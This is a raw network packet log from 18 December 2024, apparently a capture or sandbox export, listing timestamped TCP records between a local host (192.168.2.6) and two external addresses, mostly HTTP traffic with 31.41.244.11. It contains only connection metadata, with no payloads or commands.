Dec 18, 2024 11:09:46.027482033 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:46.027569056 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:46.027602911 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:46.052817106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.052834034 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.052865028 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.052885056 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.053874969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.053930044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.053998947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.054044008 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.056602955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.056646109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.057080984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.057301998 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.059273958 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.059389114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.059417963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.059446096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.061918020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.061929941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.061966896 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.061989069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.064632893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.064682007 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.065155029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.065220118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.066867113 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.066912889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.067306042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.067348003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.069546938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.069560051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.069598913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.071696043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.071765900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.071820974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.071857929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.074453115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.074465990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.074521065 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.076638937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.076653957 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.076688051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.076702118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.079392910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.079406023 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.079451084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.079463959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.081577063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.081589937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.081651926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.081651926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.083374977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.083446980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.083496094 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.083539963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.085581064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.086561918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.086616993 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.087524891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.087634087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.087692976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.089734077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.089781046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.089883089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.089950085 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.092257977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.092273951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.092310905 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.092328072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.094157934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.094171047 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.094218969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.096586943 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.096599102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.096645117 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.096645117 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.098747015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.098759890 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.098788977 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.098803997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.100857019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.100871086 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.100922108 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.100922108 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.102307081 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.102320910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.102363110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.102405071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.104163885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.104180098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.104228973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.104228973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.106328964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.106339931 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.106390953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.108470917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.108521938 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.108834028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.108880997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.110182047 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.110239029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.110254049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.110476017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.112179995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.112201929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.112221003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.112234116 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.114145041 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.114182949 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.114293098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.114346027 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.116636038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.116647959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.116686106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.116734982 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.118494034 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.118508101 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.118560076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.118560076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.120631933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.120645046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.120678902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.122497082 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.122509003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.122540951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.122553110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.124330997 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.124389887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.124496937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.124531984 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.126674891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.126718044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.126779079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.126817942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.128854990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.128866911 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.128947020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.130440950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.130518913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.131011963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.131052971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.132590055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.132647038 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.133177996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.133229971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.134633064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.134690046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.135370970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.135416031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.136609077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.136729002 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.137521029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.137567997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.138609886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.138658047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.138752937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.138814926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.140628099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.140671968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.140767097 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.140835047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.142810106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.142849922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.143388033 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.143434048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.144906998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.144978046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.145112991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.145159006 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.147110939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.147121906 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.147155046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.149307013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.149317980 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.149362087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.151076078 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.151087999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.151124954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.152887106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.152981043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.153635979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.153918982 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.154872894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.154926062 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.155355930 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.155416012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.157044888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.157109976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.157963037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.158094883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.158993959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.159003019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.159040928 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.244651079 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.244735003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.244982004 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.245063066 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.245703936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.245716095 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.245755911 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.247354031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.247513056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.247531891 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.247580051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.249999046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.250015020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.250026941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.250045061 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.250052929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.250085115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.251399994 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.251446962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.251609087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.251787901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.253909111 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.253923893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.253978968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.254648924 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.254662991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.254713058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.254731894 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.256345987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.256352901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.256398916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.257755995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.257808924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.258225918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.258266926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.258955956 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.259038925 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.259140968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.259183884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.261266947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.261282921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.261329889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.261343002 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.262455940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.262476921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.262515068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.263509989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.263578892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.265064001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.265075922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.265086889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.265114069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.265141010 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.267529964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.267544031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.267621040 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.268126965 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.268138885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.268172979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.268198967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.270530939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.270543098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.270555019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.270565033 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.270572901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.270606041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.273390055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.273402929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.273413897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.273425102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.273446083 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.273463011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.275527954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.275541067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.275607109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.277576923 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.277589083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.277601004 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.277612925 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.277635098 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.277656078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.279520035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.279526949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.279566050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.280814886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.280827045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.280867100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.281527996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.281728029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.281899929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.282448053 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.282459974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.282500029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.282538891 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.285387039 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.285398960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.285408974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.285418987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.285446882 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.285482883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.287405014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.287417889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.287460089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.287484884 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.288880110 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.288891077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.288908005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.288918018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.288944960 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.288974047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.290476084 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.290487051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.290528059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.291599035 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.291666031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.294128895 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.294138908 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.294147968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.294159889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.294178963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.294207096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.294629097 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.294667959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.297326088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.297360897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.297375917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.297394991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.297405005 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.297430038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.297437906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.297473907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.299303055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.299355030 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.299365044 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.299388885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.299398899 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.299422979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.299431086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.299519062 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.300627947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.300662994 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.300685883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.300708055 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.302454948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:46.302489042 CET	80	49966	31.41.244.11	192.168.2.6
